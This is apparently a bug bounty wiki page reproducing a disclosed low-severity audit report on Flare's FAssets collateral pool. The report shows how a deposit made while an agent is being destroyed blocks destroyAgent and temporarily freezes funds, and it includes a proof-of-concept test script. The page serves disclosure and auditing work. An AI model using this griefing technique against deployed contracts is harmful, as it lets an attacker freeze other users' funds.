Malicious actor can prevent agent from being destroyed
An agent in the DESTROYING state can still receive deposits into its collateral pool, which prevents the destroyAgent call from succeeding because the pool has issued tokens. A malicious actor can therefore temporarily block the agent's destruction and freeze funds.
- Disclosed after under an hour
#46681 [SC-Low] malicious actor can prevent agent from being destroyed
Submitted on Jun 3rd 2025 at 10:26:30 UTC by @rick137 for Audit Comp | Flare | FAssets
- Report ID: #46681
- Report Type: Smart Contract
- Report severity: Low
- Target: https://github.com/flare-foundation/fassets/blob/main/contracts/assetManager/implementation/CollateralPool.sol
- Impacts:
- Temporary freezing of funds
Description
Brief/Intro
Entering into collateral Pool is possible even agent's status is DESTROYING leading to the temporary freezing of funds
Vulnerability Details
0- agent is created by owner
1- collaterals is deposited to agentPool and collateralPool to make agent available
2- agent becomes not available by owner for any reason
3- announceDestroy is emitted by agent's owner
4- announceAgentPoolTokenRedemption is emitted by owner
5-collateral is redeemed by owner
6- Malicious actor sees the opportunity and deposits into the collateralPool to prevent the agent from being destroyed
7- destroyAgent transaction is reverted because cannot destroy a pool with issued tokens
8- malicious actor can redeem his/her CPTs anytime
Impact Details
temporary freezing of funds
Proof of Concept
Proof of Concept
consider to add this test to 14-CoreVault.ts
it.only("prevent-agent-destroying", async() => {
const usdcCollateral = context.collaterals.find(c => c.token === context.usdc.address)!;
const poolCollateral = context.collaterals.find(c => c.token === context.wNat.address)!;
const agent = await Agent.createTest(context, agentOwner1, underlyingAgent1, {
vaultCollateralToken: usdcCollateral.token,
mintingVaultCollateralRatioBIPS: usdcCollateral.minCollateralRatioBIPS,
mintingPoolCollateralRatioBIPS: poolCollateral.minCollateralRatioBIPS,
});
const minter = await Minter.createTest(context, minterAddress1, underlyingMinter1, context.underlyingAmount(100000000000000));
// 1- collaterals is deposited to agentPool and collateralPool and the agent becomes available
await agent.depositCollateralLotsAndMakeAvailable(10);
// 2- agent becomes not available by owner for any reason
await agent.exitAvailable(true);
await deterministicTimeIncrease(7200);
// 3- announceDestroy is emitted by agent's owner
await context.assetManager.announceDestroyAgent(agent.vaultAddress, { from: agent.ownerWorkAddress });
let bal = await agent.collateralPoolToken.balanceOf(agent.vaultAddress);
let agentInfo = await agent.getAgentInfo();
const tokens = agentInfo.totalAgentPoolTokensWei;
// 4- announceAgentPoolTokenRedemption is emitted by owner
await context.assetManager.announceAgentPoolTokenRedemption(agent.agentVault.address, tokens, { from: agentOwner1 });
await deterministicTimeIncrease((await context.assetManager.getSettings()).withdrawalWaitMinSeconds);
// 5-collateral is redeemed by owner
await agent.agentVault.redeemCollateralPoolTokens(bal, agent.ownerWorkAddress , { from: agent.ownerWorkAddress });
let total = await agent.collateralPoolToken.totalSupply();
assertWeb3Equal(total, 0);
agentInfo = await agent.getAgentInfo();
assertWeb3Equal(agentInfo.status, 4);//agent's status is DESTROYING
// 6- Malicious actor sees the opportunity and deposits into the collateralPool to prevent the agent from being destroyed
await agent.collateralPool.enter(0, false, {from: minterAddress1 ,value: toWei(1) });
// 7- destroyAgent transaction is reverted because cannot destroy a pool with issued tokens
await deterministicTimeIncrease(context.settings.withdrawalWaitMinSeconds);
await expectRevert(context.assetManager.destroyAgent(agent.vaultAddress, agent.ownerWorkAddress, { from: agent.ownerWorkAddress }), "cannot destroy a pool with issued tokens");
await deterministicTimeIncrease(3600);
// 8- malicious actor can redeem his/her CPTs anytime
let minterPoolTokenBalance = await agent.collateralPoolToken.balanceOf(minterAddress1);
await agent.collateralPool.exit(minterPoolTokenBalance, 0, {from: minterAddress1});
});
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the collateral pool's enter function does not check that the agent is not in the DESTROYING state, allowing new tokens to be issued during shutdown.
Impact
The agent's destruction can be temporarily blocked, causing a temporary freezing of funds.
What the attacker needed
Agent in DESTROYING state; attacker can deposit into collateral pool
How it was found
- Create an agent and deposit collateral so it becomes available.
- Make the agent unavailable and announce destruction.
- Redeem the owner's collateral pool tokens.
- A malicious actor deposits into the collateral pool while the agent is DESTROYING.
- The destroyAgent transaction reverts because the pool has issued tokens.
- The malicious actor can redeem their tokens at any time.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A smart contract agent is being shut down and its owner has withdrawn the collateral. However, the pool still accepts new deposits from anyone. If someone deposits a tiny amount, the shutdown step fails because the pool is no longer empty, so the agent cannot be destroyed until that person withdraws.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.